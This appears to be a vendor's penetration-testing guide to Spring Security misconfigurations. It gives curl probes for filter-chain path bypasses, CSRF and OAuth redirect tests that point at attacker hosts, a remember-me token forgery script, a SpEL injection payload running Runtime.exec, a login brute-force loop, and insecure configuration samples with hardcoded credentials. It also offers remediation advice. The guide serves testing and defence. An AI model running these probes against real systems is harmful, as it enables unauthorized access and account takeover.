Spring Security Testing: Misconfigured Filters, CSRF Bypass, and Authentication Flaws
Spring Security is one of the most widely deployed security frameworks in the Java ecosystem. It powers authentication, authorization, CSRF protection, session management, and OAuth2 flows for tens of thousands of production applications. Its power comes from a highly composable DSL — and that DSL, when misconfigured, produces vulnerabilities that are easy to miss in code review and difficult to detect without active testing.
The most common Spring Security bugs are not exotic. They are the result of copy-pasted configuration snippets, misunderstood path matching semantics, outdated WebSecurityConfigurerAdapter patterns, and the subtle gap between what Spring MVC's request routing and Spring Security's filter chain each consider to be the same URL. This guide walks through how to find each class of misconfiguration systematically.
Phase 1: Fingerprinting Spring Security
Identifying the Framework and Version
Before probing configuration, establish that you are dealing with a Spring application and identify the version range. Version determines which path matching behaviour is in effect and which CVEs may be relevant.
# Spring Boot apps often leak version in error responses
curl -si https://target.com/nonexistent | grep -i 'x-application-context\|whitelabel\|spring'
# Default Spring Boot Whitelabel error page confirms framework
curl -s https://target.com/error
# Actuator info endpoint may expose build metadata including Spring version
curl -s https://target.com/actuator/info | jq '.'
# Maven/Gradle wrapper files reveal version if source is accessible
curl -s https://target.com/.mvn/wrapper/maven-wrapper.properties
curl -s https://target.com/gradle/wrapper/gradle-wrapper.properties
# Exposed pom.xml (common on misconfigured hosts)
curl -s https://target.com/pom.xml | grep -A2 'spring-boot'
# X-Application-Context response header (Spring Boot 1.x default)
curl -sI https://target.com/ | grep -i 'x-application-context'
Mapping the Security Configuration via Actuator
If Actuator is exposed (see our Spring Boot Actuator Security Testing guide), /actuator/mappings and /actuator/beans reveal the registered security filter chains and URL patterns before you send a single probe to a protected path.
# Dump all request mappings — reveals URL patterns and their handlers
curl -s https://target.com/actuator/mappings | \
jq -r '.contexts[].mappings.dispatcherServlets.dispatcherServlet[].predicate' | \
sort -u
# List registered beans — look for SecurityFilterChain, WebSecurityConfigurerAdapter
curl -s https://target.com/actuator/beans | \
jq '.contexts[].beans | to_entries[] | select(.key | test("security|filter|auth|csrf"; "i")) | .key'
# Security debug logging (if you can write to /actuator/loggers)
curl -X POST https://target.com/actuator/loggers/org.springframework.security \
-H "Content-Type: application/json" \
-d '{"configuredLevel": "DEBUG"}'
# Now every request logs the full filter chain decision — read logs via /actuator/logfile
Phase 2: Security Filter Chain Bypass
Spring Security intercepts requests via a servlet filter chain. Access control rules are defined as URL patterns — antMatchers, mvcMatchers, or requestMatchers depending on the Spring version. The critical issue is that the path matching logic in Spring Security's filter chain does not always agree with the path matching logic in Spring MVC's DispatcherServlet. That gap is where bypasses live.
Trailing Slash and Encoded Path Bypasses
Before Spring Security 5.8 / Spring Boot 3.0, antMatchers("/admin/**") would not match /admin//resource, /admin/./resource, or /admin/%2F resource — but Spring MVC would happily route all of those to the same controller.
# Baseline: confirm the path is protected
curl -si https://target.com/admin/users
# HTTP 401 or 302 to login — as expected
# Trailing slash bypass (Spring MVC normalizes, Security filter may not)
curl -si https://target.com/admin/users/
# Double slash (path normalization difference)
curl -si https://target.com/admin//users
# Dot-segment traversal
curl -si https://target.com/admin/./users
curl -si https://target.com/admin/something/../users
# URL-encoded slash (%2F)
curl -si "https://target.com/admin%2Fusers"
# Semicolon path parameter (Java servlet containers strip ;jsessionid=xxx from paths,
# but Spring Security may evaluate the raw path before stripping)
curl -si "https://target.com/admin;param=value/users"
# Case variation on Windows-hosted apps
curl -si "https://target.com/ADMIN/users"
curl -si "https://target.com/Admin/Users"
CVE-2022-22978: Spring Security antMatchers Bypass
CVE-2022-22978 is the canonical example of the Spring MVC vs. Spring Security path matching discrepancy. Applications using antMatchers with regexes were vulnerable to bypasses via newline characters and other special sequences embedded in the path. The broader class of vulnerabilities — where Spring Security's pattern matching evaluates a path differently from the servlet container's routing — persists in any application that mixes antMatchers (which uses Ant path matching) with Spring MVC's suffix matching or trailing-slash matching.
# Test newline injection in path (CVE-2022-22978 class)
curl -si $'https://target.com/admin\n/users'
# Test with %0a (URL-encoded newline)
curl -si "https://target.com/admin%0a/users"
# Verify the application's Spring Security version
# Affected: Spring Security < 5.5.7, < 5.6.4
# Fixed by upgrading and replacing antMatchers with requestMatchers
# Burp Suite: use the "HTTP Request Smuggler" extension path tests
# or manually fuzz the path with Intruder using the "Special characters" payload set
permitAll() Misconfiguration Patterns
A common mistake is applying permitAll() to a broad pattern to allow static assets, then failing to account for the fact that a protected API route shares the same prefix.
// INSECURE: This permits /api/public/... but also /api/public/../admin/... after normalization
http.authorizeRequests()
.antMatchers("/api/public/**").permitAll()
.antMatchers("/api/admin/**").hasRole("ADMIN")
.anyRequest().authenticated();
// The ordering matters: Spring Security evaluates rules top-to-bottom, first match wins.
// A wildcard permitAll placed before a specific protected pattern swallows it.
http.authorizeRequests()
.antMatchers("/**").permitAll() // THIS MATCHES EVERYTHING — nothing below fires
.antMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated();
# Test: does the first permitAll rule shadow the protected path?
curl -si https://target.com/api/public/../admin/config
curl -si https://target.com/api/public/%2e%2e/admin/config
# Test: does a broad wildcard rule earlier in the chain allow admin paths?
# If you see HTTP 200 where you expect 401/403, the rule ordering is wrong
curl -si https://target.com/admin/users
curl -si https://target.com/admin/delete-user?id=1
Phase 3: CSRF Bypass
Spring Security provides CSRF protection by default for state-changing requests (POST, PUT, DELETE, PATCH). A remarkable number of applications disable it entirely — often because a developer copy-pasted an API configuration and never re-enabled it for the web application layer.
Detecting Disabled CSRF
# Submit a state-changing request without a CSRF token
# If the server responds 200 (not 403 Forbidden), CSRF is disabled or bypassed
# Login first to get a session cookie
curl -si -c cookies.txt -d "username=user&password=pass" https://target.com/login
# Now send a POST without X-CSRF-TOKEN or _csrf parameter
curl -si -b cookies.txt \
-X POST https://target.com/account/update-email \
-d "email=attacker@evil.com"
# HTTP 200 = CSRF is disabled
# Check the form HTML for a hidden _csrf field
curl -s -b cookies.txt https://target.com/account/settings | grep -i 'csrf\|_token'
# No CSRF token in forms = likely disabled in Spring Security config
# Check the response headers for the CSRF cookie
curl -sI -b cookies.txt https://target.com/ | grep -i 'xsrf-token\|csrf'
SameSite Cookie Misconfiguration
Even with CSRF protection disabled, SameSite cookie attributes can prevent cross-origin exploitation in modern browsers. However, many Spring Boot applications still use the default session cookie without SameSite, and some explicitly set SameSite=None for cross-origin API use cases without understanding the CSRF implication.
# Inspect Set-Cookie headers on login response
curl -si -c /dev/null -d "username=user&password=pass" https://target.com/login | \
grep -i 'set-cookie'
# Look for:
# JSESSIONID=...; Path=/; HttpOnly <- no SameSite, vulnerable
# JSESSIONID=...; SameSite=None; Secure <- cross-origin allowed, verify CSRF token exists
# JSESSIONID=...; SameSite=Strict; HttpOnly; Secure <- safe
# Also check for the remember-me cookie
curl -si -c /dev/null \
-d "username=user&password=pass&remember-me=on" \
https://target.com/login | grep -i 'set-cookie'
CSRF Token Leakage via Referer Header
When an application embeds the CSRF token as a URL parameter (e.g., /api/action?_csrf=TOKEN), the token leaks in the Referer header of any subsequent navigation to a third-party resource on the same page — images, scripts, tracking pixels.
# Look for CSRF token in query parameters (not the hidden form field — that's fine)
curl -s -b cookies.txt https://target.com/settings | \
grep -oP 'href="[^"]*_csrf=[^"]*"'
# Check if AJAX calls include the token in the URL
curl -s -b cookies.txt https://target.com/app.js | \
grep -i '_csrf\|X-CSRF-TOKEN'
# The correct pattern is always a request header (X-CSRF-TOKEN) or hidden form field
# Never in the URL — that leaks via Referer and server access logs
Custom CSRF Implementation Flaws
Teams that disable Spring Security's built-in CSRF protection and implement their own often introduce flaws: predictable tokens, tokens validated only by length rather than value, tokens not tied to a user session, or tokens accepted via GET parameters on POST routes.
# Test 1: Is the CSRF token actually validated server-side?
# Modify the token to a random string — if the server accepts it, validation is broken
TOKEN="invalid_csrf_token_aaaa"
curl -si -b cookies.txt \
-X POST https://target.com/account/transfer \
-H "X-CSRF-TOKEN: $TOKEN" \
-d "amount=1000&to=attacker"
# Test 2: Is the token bound to the session?
# Log in as user A, capture their CSRF token, then use it in user B's session
# If accepted, tokens are not session-scoped
# Test 3: Does the server accept GET to a POST endpoint?
# Spring MVC's @PostMapping should reject GET, but some apps are permissive
curl -si -b cookies.txt \
"https://target.com/account/transfer?amount=1000&to=attacker"
Phase 4: Authentication Flaws
HTTP Basic over Unencrypted Connections
httpBasic() in Spring Security sends credentials base64-encoded in the Authorization header on every request. Over HTTP (not HTTPS), this means credentials are transmitted in cleartext on every authenticated request, not just on login.
# Check if Basic auth is accepted over HTTP
curl -si --user admin:password http://target.com/api/admin/
# HTTP 200 over plain HTTP = credentials exposed on every request
# Check HTTP Strict Transport Security header
curl -sI https://target.com/ | grep -i 'strict-transport-security'
# Missing HSTS + Basic auth over HTTP = clear credential exposure path
# Test for Basic auth credential acceptance on all paths (not just /api/)
for path in / /admin /api /management; do
echo -n "$path: "
curl -so /dev/null -w "%{http_code}" --user admin:password "http://target.com$path"
echo
done
formLogin() Without Brute Force Protection
Spring Security's formLogin() provides no built-in account lockout or rate limiting. Without an explicit AuthenticationEventPublisher connected to a lockout mechanism, or an upstream WAF/rate-limit layer, the login endpoint accepts unlimited authentication attempts.
# Check for rate limiting on the login endpoint
# Send 20 rapid login attempts and observe if later responses differ
for i in $(seq 1 20); do
status=$(curl -so /dev/null -w "%{http_code}" \
-d "username=admin&password=wrong$i" \
-X POST https://target.com/login)
echo "Attempt $i: $status"
done
# All HTTP 302 (redirect to /login?error) = no lockout, brute force possible
# Check response time for valid vs invalid credentials (timing oracle)
time curl -so /dev/null -d "username=admin&password=wrongpassword" \
-X POST https://target.com/login
time curl -so /dev/null -d "username=nonexistent@example.com&password=wrongpassword" \
-X POST https://target.com/login
# Significant time difference = username enumeration via timing
Remember-Me Token Weaknesses
Spring Security's remember-me feature has two implementations: token-based (default) and persistent. The token-based implementation signs a cookie using username:expirationTime:MD5(username:expirationTime:password:key). If the key is weak, reuses the username, or is exposed in configuration, the token is forgeable.
# Capture a remember-me cookie after login
curl -si -c cookies.txt \
-d "username=user&password=pass&remember-me=on" \
https://target.com/login | grep -i 'set-cookie.*remember'
# The remember-me cookie value is base64(username:expirationTime:md5hash)
echo "dXNlcjoxNzQ2NTAwMDAwOmYzMjFhYmNkZWYxMjM0NTY=" | base64 -d
# Output: user:1746500000:f321abcdef123456
# If the key is "mySecretKey" (common default), forge a token:
# md5("user:1746500000:passwordHash:mySecretKey")
python3 -c "
import hashlib, base64, time
username = 'admin'
expiry = str(int(time.time()) + 86400*30)
password_hash = 'known_hash_from_db_or_leak'
key = 'mySecretKey'
data = ':'.join([username, expiry, password_hash, key])
sig = hashlib.md5(data.encode()).hexdigest()
token = base64.b64encode(f'{username}:{expiry}:{sig}'.encode()).decode()
print(token)
"
# Common weak keys found in Spring Security examples and tutorials:
# "remember-me-key", "mySecretKey", "secret", "springKey", application name
Session Fixation
By default, Spring Security invalidates and replaces the session on successful authentication — this is the correct behaviour. However, session fixation vulnerabilities appear when this default is overridden with sessionManagement().sessionFixation().none(), which preserves the pre-authentication session ID.
# Step 1: Obtain a session ID before authentication
PRE_AUTH_SESSION=$(curl -si https://target.com/login | \
grep -oP 'JSESSIONID=[^;]+' | head -1)
echo "Pre-auth session: $PRE_AUTH_SESSION"
# Step 2: Authenticate using that session ID
curl -si -b "$PRE_AUTH_SESSION" \
-d "username=victim&password=victimpass" \
-X POST https://target.com/login | \
grep -i 'set-cookie\|location'
# Step 3: Check if the session ID changed after authentication
POST_AUTH_SESSION=$(curl -si -b "$PRE_AUTH_SESSION" \
-d "username=victim&password=victimpass" \
-X POST https://target.com/login | \
grep -oP 'JSESSIONID=[^;]+' | head -1)
if [ "$PRE_AUTH_SESSION" = "$POST_AUTH_SESSION" ]; then
echo "SESSION FIXATION: session ID unchanged after login"
else
echo "OK: session rotated on authentication"
fi
Phase 5: Authorization Bypass
@PreAuthorize on Private or Final Methods
Spring Security's method-level security — @PreAuthorize, @PostAuthorize, @Secured — is implemented via Spring AOP proxies. AOP proxies cannot intercept calls to private methods, final methods, or direct calls between methods within the same bean (internal calls bypass the proxy). A @PreAuthorize("hasRole('ADMIN')") annotation on a private method is silently ignored.
// INSECURE: @PreAuthorize on private method is NEVER evaluated
@Service
public class UserService {
public void deleteUser(Long id) {
// This calls deleteUserInternal() directly — bypasses the proxy
deleteUserInternal(id);
}
@PreAuthorize("hasRole('ADMIN')")
private void deleteUserInternal(Long id) {
// Security annotation silently does nothing here
userRepository.deleteById(id);
}
}
// ALSO INSECURE: self-invocation from within the same bean
@Service
public class OrderService {
public void processOrder(Order order) {
// Internal call — this.cancelOrder() bypasses the AOP proxy
this.cancelOrder(order.getId());
}
@PreAuthorize("hasRole('MANAGER')")
public void cancelOrder(Long orderId) {
// Never enforced when called internally
}
}
# Testing: call the public method and observe if authorization is enforced
# If deleteUser() is accessible without ADMIN role and succeeds, the private
# method's @PreAuthorize was silently bypassed
curl -si -b cookies.txt \
-X DELETE "https://target.com/api/users/1"
# HTTP 200 when logged in as non-admin = bypass confirmed
Role Hierarchy Misconfiguration
Spring Security's RoleHierarchy allows ADMIN to implicitly hold USER permissions. When a role hierarchy is defined inconsistently — or defined in one security config but not another — hasRole('USER') checks may fail for an admin user, or hierarchy may be applied where it should not be, granting over-broad access.
# Test: does a higher-privileged role have access to lower-privilege endpoints?
# If ADMIN cannot access USER-gated endpoints, role hierarchy is broken
curl -si -b admin-cookies.txt https://target.com/api/user/profile
# HTTP 403 for ADMIN on a USER endpoint = role hierarchy not configured
# Test: does ROLE_ prefix convention mismatch cause bypasses?
# Spring Security's hasRole("ADMIN") automatically prepends ROLE_
# If your database stores roles as "ADMIN" (not "ROLE_ADMIN"), checks silently fail
curl -si -b cookies.txt https://target.com/api/admin/
# HTTP 200 for any authenticated user = role prefix mismatch
SpEL Expression Injection in Access Control
When @PreAuthorize expressions include user-controlled input — for example, constructing an expression from a URL parameter — Spring Expression Language (SpEL) injection can achieve remote code execution.
// INSECURE: user-controlled data in SpEL expression (rare but catastrophic)
@PreAuthorize("hasRole('" + role + "')")
// If 'role' is derived from user input without sanitization, inject:
// ') or T(java.lang.Runtime).getRuntime().exec('id') == 'x' or hasRole('
# In practice, test annotation-based SpEL with injected parentheses and operators
# More common: expression-based access control in URL rules
http.authorizeRequests()
.access("@securityService.checkAccess(authentication, #id)")
# If checkAccess() uses the id parameter in a database query without sanitization:
# → SQL injection / logic bypass
Phase 6: OAuth2 and OIDC Misconfiguration
Open Redirect in redirect_uri
Spring Security's OAuth2 client implementation validates redirect_uri against a registered list. However, applications that programmatically construct the redirect URI or add wildcard registrations are vulnerable to open redirect — which enables OAuth authorization code theft.
# Check the registered redirect URIs (sometimes exposed in well-known endpoint)
curl -s https://target.com/.well-known/openid-configuration | jq '.registration_endpoint'
# Test for wildcard redirect_uri acceptance
# Normal flow
curl -si "https://target.com/oauth2/authorization/provider"
# Note the redirect_uri parameter in the 302 Location header
# Attempt to override redirect_uri with attacker-controlled URL
curl -si "https://target.com/oauth2/authorization/provider?redirect_uri=https://attacker.com/callback"
# Test path traversal in redirect_uri
curl -si "https://target.com/oauth2/authorization/provider?redirect_uri=https://target.com/callback/../../../attacker.com"
State Parameter Bypass
The OAuth2 state parameter prevents CSRF against the authorization callback. Spring Security generates and validates this automatically, but custom OAuth2 implementations or integrations that disable CSRF and forget to validate state are exploitable.
# Initiate OAuth2 flow and capture the state value
# Then attempt to complete the flow with a different state or no state
# A valid code exchange without state validation = CSRF on OAuth2 login
# Test: initiate flow in browser A, copy the callback URL with code parameter,
# submit it in browser B (different session) — if it succeeds, state is not validated
# Also check: does the state value change between flows?
for i in $(seq 1 3); do
curl -si "https://target.com/oauth2/authorization/github" 2>&1 | \
grep -oP 'state=[^&"]+' | head -1
done
# If state values are sequential or predictable, the CSRF protection is weak
Token Storage Without Secure Flags
Spring Security's OAuth2 client stores tokens in the server-side OAuth2AuthorizedClientRepository by default — this is safe. Problems arise when access tokens are forwarded to the frontend as cookies or localStorage, or when the refresh token is stored in a non-HttpOnly cookie.
# Check all cookies set during OAuth2 callback
curl -si "https://target.com/login/oauth2/code/provider?code=AUTH_CODE&state=STATE" | \
grep -i 'set-cookie'
# Look for:
# access_token=...; Path=/ <- token in cookie without HttpOnly = XSS-accessible
# refresh_token=...; Path=/ <- refresh tokens should never be in cookies
# Missing Secure flag = token transmissible over HTTP
# Check if tokens appear in the page source or JavaScript
curl -s -b cookies.txt https://target.com/dashboard | \
grep -oP '(Bearer|access_token|refresh_token)[^"<]{10,}'
Phase 7: Weak Configuration Patterns
The following Java configuration snippets represent the most commonly found insecure Spring Security setups. Each is a real pattern found in production applications — often copied from tutorials, StackOverflow answers, or early Spring Boot quickstarts.
// PATTERN 1: CSRF completely disabled — very common in "API" applications
// that also serve a browser-based frontend on the same session
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf().disable() // "APIs don't need CSRF" — true only if stateless/JWT
.authorizeRequests()
.anyRequest().authenticated();
}
}
// PATTERN 2: permitAll() on a path that should be protected
// Developer wanted to allow /api/v1/public but wrote a wildcard
http.authorizeRequests()
.antMatchers("/api/v1/**").permitAll() // Permits /api/v1/admin/users too
.anyRequest().authenticated();
// PATTERN 3: Hardcoded credentials in WebSecurityConfigurerAdapter
// (common in tutorials, sometimes copy-pasted into production)
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
auth.inMemoryAuthentication()
.withUser("admin").password("{noop}admin123").roles("ADMIN")
.and()
.withUser("user").password("{noop}user123").roles("USER");
}
// PATTERN 4: Security disabled entirely for development, not re-enabled
@Configuration
public class DevSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests().anyRequest().permitAll();
http.csrf().disable();
http.headers().frameOptions().disable();
}
}
// This config file was committed to prod — all requests permitted, no CSRF, clickjacking enabled
# Quick scan for all four patterns in a codebase
grep -rn "csrf().disable()" src/
grep -rn "anyRequest().permitAll()" src/
grep -rn "inMemoryAuthentication()" src/
grep -rn "\.password(\"{noop}" src/
grep -rn "frameOptions().disable()" src/
Tools for Spring Security Testing
| Tool | Use Case |
|---|---|
| Burp Suite | Intercept and modify requests, test CSRF token handling, fuzz path bypass variations via Intruder |
| curl | Precise HTTP request construction for filter chain bypass testing, cookie manipulation, raw header control |
| OWASP ZAP | Spring-specific active scan rules (CSRF, auth bypass, header checks); passive scan catches missing security headers |
| Spring Security debug logging | Enable logging.level.org.springframework.security=DEBUG on a dev instance to see the exact filter chain decision for any request |
| ffuf / feroxbuster | Path fuzzing with trailing slashes, encoded variants, and semicolons to find filter bypass candidates |
| nuclei | Spring Security template set covers actuator exposure, default credentials, and CSRF disabled detection |
# Burp Suite: test CSRF via Repeater
# 1. Capture a POST request that changes state
# 2. Send to Repeater
# 3. Remove the X-CSRF-TOKEN header and _csrf parameter
# 4. Resend — HTTP 200 = CSRF disabled or bypassed
# OWASP ZAP: run Spring-targeted active scan
# Target > Active Scan > Policy: select "Spring Security Testing"
# ZAP checks for:
# - CSRF token absent or static
# - Missing security headers (X-Frame-Options, CSP, HSTS)
# - Authentication bypass on common Spring admin paths
# Nuclei Spring Security templates
nuclei -u https://target.com -t technologies/spring/ -t vulnerabilities/spring/
nuclei -u https://target.com -t exposures/configs/spring-application-properties.yaml
# Spring Security debug logging on a dev/staging instance
# Add to application.properties:
logging.level.org.springframework.security=DEBUG
# Then trigger requests and read the log output:
# FilterChainProxy - /admin/users at position 1 of 14 in additional filter chain
# FilterSecurityInterceptor - Secure object: ... attributes [hasRole('ROLE_ADMIN')]
# AffirmativeBased - Voter: RoleVoter, returned: -1 (ACCESS_DENIED)
Remediation: Secure Spring Security Configuration
The following is a production-ready Spring Security configuration template for a typical Spring Boot application with both a web frontend and a REST API. It uses the modern lambda DSL (Spring Security 5.7+) and avoids the deprecated WebSecurityConfigurerAdapter.
@Configuration
@EnableMethodSecurity(prePostEnabled = true) // Required for @PreAuthorize
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
// 1. CSRF: enabled for browser endpoints, disabled only for stateless REST
.csrf(csrf -> csrf
.ignoringRequestMatchers("/api/v1/webhooks/**") // Webhook callbacks
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
)
// 2. Session management: protect against fixation
.sessionManagement(session -> session
.sessionFixation().newSession() // Rotate session ID on authentication
.maximumSessions(1) // Prevent concurrent session abuse
.maxSessionsPreventsLogin(false)
)
// 3. Authorization rules: specific before general, no wildcard permitAll
.authorizeHttpRequests(authz -> authz
.requestMatchers("/", "/login", "/register", "/static/**").permitAll()
.requestMatchers("/api/v1/public/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.requestMatchers(HttpMethod.DELETE, "/api/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
// 4. Form login with failure URL (do not reveal username validity)
.formLogin(form -> form
.loginPage("/login")
.defaultSuccessUrl("/dashboard", true)
.failureUrl("/login?error")
.permitAll()
)
// 5. Logout configuration
.logout(logout -> logout
.logoutUrl("/logout")
.invalidateHttpSession(true)
.deleteCookies("JSESSIONID", "remember-me")
.permitAll()
)
// 6. Remember-me with strong key and persistent token store
.rememberMe(remember -> remember
.key(rememberMeKey) // Load from secure config, not hardcoded
.tokenValiditySeconds(86400 * 14)
.useSecureCookie(true)
.tokenRepository(persistentTokenRepository()) // Use DB, not cookie-based
)
// 7. Security headers
.headers(headers -> headers
.frameOptions().deny()
.contentTypeOptions().and()
.httpStrictTransportSecurity(hsts -> hsts
.includeSubDomains(true)
.maxAgeInSeconds(31536000)
)
)
// 8. Only use requestMatchers (not antMatchers) in Spring Security 5.8+
// requestMatchers uses Spring MVC's path matching — closes the MVC/Security gap
;
return http.build();
}
@Bean
public PasswordEncoder passwordEncoder() {
// Use bcrypt with cost factor 12 (not {noop}, not MD5, not SHA-1)
return new BCryptPasswordEncoder(12);
}
}
Spring Security Testing Checklist
- Fingerprint the framework: check error pages,
X-Application-Contextheader, Actuator/info, and build files for Spring version - Test filter chain bypass: try trailing slashes, double slashes,
%2F, semicolons, and dot segments on protected paths - Check
antMatchersvsrequestMatchers: any app on Spring Security < 5.8 usingantMatchersis a candidate for path mismatch bypass - Verify
permitAll()rules: confirm they apply only to the intended paths and are not ordered above protected patterns - Test CSRF: submit POST/PUT/DELETE without token — HTTP 200 = CSRF disabled or bypassed
- Check session cookies: confirm
HttpOnly,Secure, andSameSite=LaxorStricton JSESSIONID - Test login endpoint: attempt 20+ failed logins and check for account lockout or rate limiting
- Check for timing difference between valid username and invalid username at login (username enumeration)
- Capture remember-me cookie and attempt to decode the token — weak signing key enables forgery
- Test session fixation: confirm session ID changes after successful authentication
- Check
@PreAuthorizeon public methods: verify annotations are not silently ignored due to AOP proxy limitations - Test OAuth2
redirect_uri: attempt to override with attacker-controlled URL in authorization request - Check OAuth2 state parameter: confirm it changes per flow and is validated on callback
- Inspect all cookies for missing
Secure,HttpOnly, andSameSiteattributes - Search source code for
csrf().disable(),anyRequest().permitAll(), andinMemoryAuthentication() - Verify HSTS header is present with
includeSubDomainsand a sufficiently longmax-age
Ironimo automatically tests Spring Security configurations during every scan — detecting disabled CSRF, filter chain bypass candidates, missing security headers, weak session cookie attributes, and authentication rate-limiting gaps. It runs the same Kali Linux tools professional pentesters use, on demand and on schedule.
Every finding includes the exact request that proved the issue, the Spring Security configuration change required to fix it, and the severity in context of your application's exposure.
Start free scan